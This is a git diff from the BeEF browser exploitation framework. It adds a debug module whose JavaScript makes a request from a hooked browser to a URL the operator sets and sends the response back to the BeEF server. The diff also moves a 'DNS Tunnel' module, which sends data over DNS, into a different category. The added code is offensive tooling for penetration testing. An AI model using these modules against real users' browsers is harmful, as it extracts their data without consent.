diff --git a/modules/debug/test_network_request/command.js b/modules/debug/test_network_request/command.js new file mode 100644 index 000000000..836f4d0e9 --- /dev/null +++ b/modules/debug/test_network_request/command.js @@ -0,0 +1,31 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var scheme = "<%= @scheme %>"; + var method = "<%= @method %>"; + var domain = "<%= @domain %>"; + var port = "<%= @port %>"; + var path = "<%= @path %>"; + var anchor = "<%= @anchor %>"; + var data = "<%= @data %>"; + var timeout = "<%= @timeout %>"; + var dataType = "<%= @dataType %>"; + + beef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); } ); + +}); + diff --git a/modules/debug/test_network_request/config.yaml b/modules/debug/test_network_request/config.yaml new file mode 100644 index 000000000..47f516a26 --- /dev/null +++ b/modules/debug/test_network_request/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + test_network_request: + enable: true + category: "Debug" + name: "Test Network Request" + description: "Test the beef.net.request function by retrieving a URL." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/debug/test_network_request/module.rb b/modules/debug/test_network_request/module.rb new file mode 100644 index 000000000..0c74227a4 --- /dev/null +++ b/modules/debug/test_network_request/module.rb @@ -0,0 +1,42 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Test_network_request < BeEF::Core::Command + + def post_execute + content = {} + content['response'] = @datastore['response'] + save content + end + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + beef_port = @configuration.get("beef.http.port") + + return [ + {'name' => 'scheme', 'ui_label'=>'Scheme', 'type' => 'text', 'width' => '400px', 'value' => 'http' }, + {'name' => 'method', 'ui_label'=>'Method', 'type' => 'text', 'width' => '400px', 'value' => 'GET' }, + {'name' => 'domain', 'ui_label'=>'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host }, + {'name' => 'port', 'ui_label'=>'Port', 'type' => 'text', 'width' => '400px', 'value' => beef_port }, + {'name' => 'path', 'ui_label'=>'Path', 'type' => 'text', 'width' => '400px', 'value' => '/demos/secret_page.html' }, + {'name' => 'anchor', 'ui_label'=>'Anchor', 'type' => 'text', 'width' => '400px', 'value' => 'irrelevant' }, + {'name' => 'data', 'ui_label'=>'Query String', 'type' => 'text', 'width' => '400px', 'value' => 'query=data' }, + {'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '10', 'width'=>'400px' }, + {'name' => 'dataType', 'ui_label'=>'Data Type', 'type' => 'text', 'width' => '400px', 'value' => 'script' }, + ] + end + +end diff --git a/modules/debug/dns_tunnel/command.js b/modules/ipec/dns_tunnel/command.js similarity index 100% rename from modules/debug/dns_tunnel/command.js rename to modules/ipec/dns_tunnel/command.js diff --git a/modules/debug/dns_tunnel/config.yaml b/modules/ipec/dns_tunnel/config.yaml similarity index 96% rename from modules/debug/dns_tunnel/config.yaml rename to modules/ipec/dns_tunnel/config.yaml index 7fa630972..b7e70f8b4 100644 --- a/modules/debug/dns_tunnel/config.yaml +++ b/modules/ipec/dns_tunnel/config.yaml @@ -17,7 +17,7 @@ beef: module: dns_tunnel: enable: true - category: "Debug" + category: "IPEC" name: "DNS Tunnel" description: "Sends data over DNS to a server which accepts wildcard subdomains." authors: ["bcoles"] diff --git a/modules/debug/dns_tunnel/module.rb b/modules/ipec/dns_tunnel/module.rb similarity index 100% rename from modules/debug/dns_tunnel/module.rb rename to modules/ipec/dns_tunnel/module.rb